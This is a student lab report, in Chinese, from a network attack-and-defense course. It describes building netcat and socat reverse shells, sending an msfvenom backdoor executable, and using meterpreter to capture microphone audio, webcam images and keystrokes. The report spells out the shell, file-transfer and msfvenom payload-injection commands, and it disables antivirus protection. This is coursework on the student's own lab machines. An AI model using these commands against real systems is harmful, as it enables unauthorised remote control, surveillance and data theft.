20212305 2023-2024-2 《网络与系统攻防技术》实验二实验报告

20212305杨贯宇 2024-06-30 04:25:40

20212305 2023-2024-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

(1)缓冲区溢出的相关知识
(2)ncat、socat工具的使用
(3)免杀的意义和原理
(4)后门的概念和原理

2.实验过程

(1)回答问题

①例举你能想到的一个后门进入到你系统中的可能方式?
答:不安全的恶意链接或恶意软件。
②例举你知道的后门如何启动起来(win及linux)的方式?
答:Windows:将后门隐藏在看似安全的程序或者文件中,或隐藏在系统进程中,添加到启动项等等;
Linux:添加一个定时任务、修改Linux系统的核心文件等。
③Meterpreter有哪些给你映像深刻的功能?
答:远程控制、屏幕截图、键盘记录。
④如何发现自己有系统有没有被安装后门?
答:定期检查系统日志和文件,用安全工具扫描。

(2)使用netcat获取主机操作Shell,cron启动某项任务

①获取主机和虚拟机的IP地址
主机IP地址为:172.30.6.63(后改为192.168.250.176);虚拟机IP地址为:172.30.6.133(后改为192.168.250.241)

img


img


②Windows获取Linux的shell
关闭Windows防火墙

img

在windows主机使用ncat.exe -l -p 2305命令监听端口2305,在虚拟机终端输入并运行指令:nc 172.30.6.63 2305 -e /bin/sh
可以看到在主机上可以调用linux的shell查看虚拟机的目录

img


在linux端使用nc -l -p 2305命令监听,然后在windows端使用ncat.exe -e cmd.exe 172.30.6.133 2305命令链接,最终Linux成功获得Windows cmd,可以运行dir

img

(3)使用socat获取主机操作Shell, 任务计划启动

在主机创建任务20212305ygy

img


img


img

win10的cmd中进入到socat所在的目录下,输入命令socat.exe tcp-listen:2305 exec:cmd.exe,pty,stderr,开启监听

img

虚拟机输入socat -tcp:172.30.6.63:2305获取主机的shell

img

(4)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Windos使用命令行ncat.exe -lv 2305 >20212305ygy_backdoor.exe,打开2311端口监听,等待接收可执行文件20212305ygy_backdoor.exe
在kali上用命令行nc 172.20.6.63 2305 < 20212305ygy_backdoor.exe,将生成的可执行文件20212305ygy_backdoor.exe传送给Windows主机

img


img

在kali上使用msfconsole进入msf控制台

img


通过以下指令配置监听模块

img

配置完成后,输入exploit进行监听。在Windows上打开20212311_backdoor.exe文件,kali虚拟机Linux端成功获取Shell

img

(5) 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取麦克风音频

img

获取摄像头图片

img

获取击键记录

img

(6)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在root权限的kali终端输入以下命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.241 LPORT=2305 -x pwn1 -f elf > 20212305_pwn1
chmod +x 20212305_pwn1
sudo ./20212305_pwn
试了好几遍才明白我没有吧文件名写完整

img


在另一个终端配置监听模块
(这里之前忘记截图了……)

3.问题及解决方案

问题1:backdoor文件无法传输,也不能复制
问题1解决方案:关闭主机的病毒和威胁实时保护

4.学习感悟、思考等

起初,我以为实验一已经相当具有挑战性了,然而,这次实验却让我倍感煎熬。我时常觉得自己会遇到许多他人未曾遭遇的问题,以及一些因自己疏忽造成的小错误,比如命令中遗漏了一个字符,便足以让我卡上好久无法解决。此外,还有一些提权问题,我也不清楚如何解决。这些形形色色的问题让我的实验过程充满了阻碍,不过好在最终还是完成了。我深刻意识到,细心至关重要,必须认真检查错误,避免因粗心而导致的效率低下,按照实验指导书的步骤谨慎操作。此外,我还体会到,如果能够深刻理解所学知识,即实验的原理,那么排查错误也会变得更加容易。我希望能够吸取这次的经验教训,期待在下一次实验中能够有所进步。

...全文
140 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

98

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧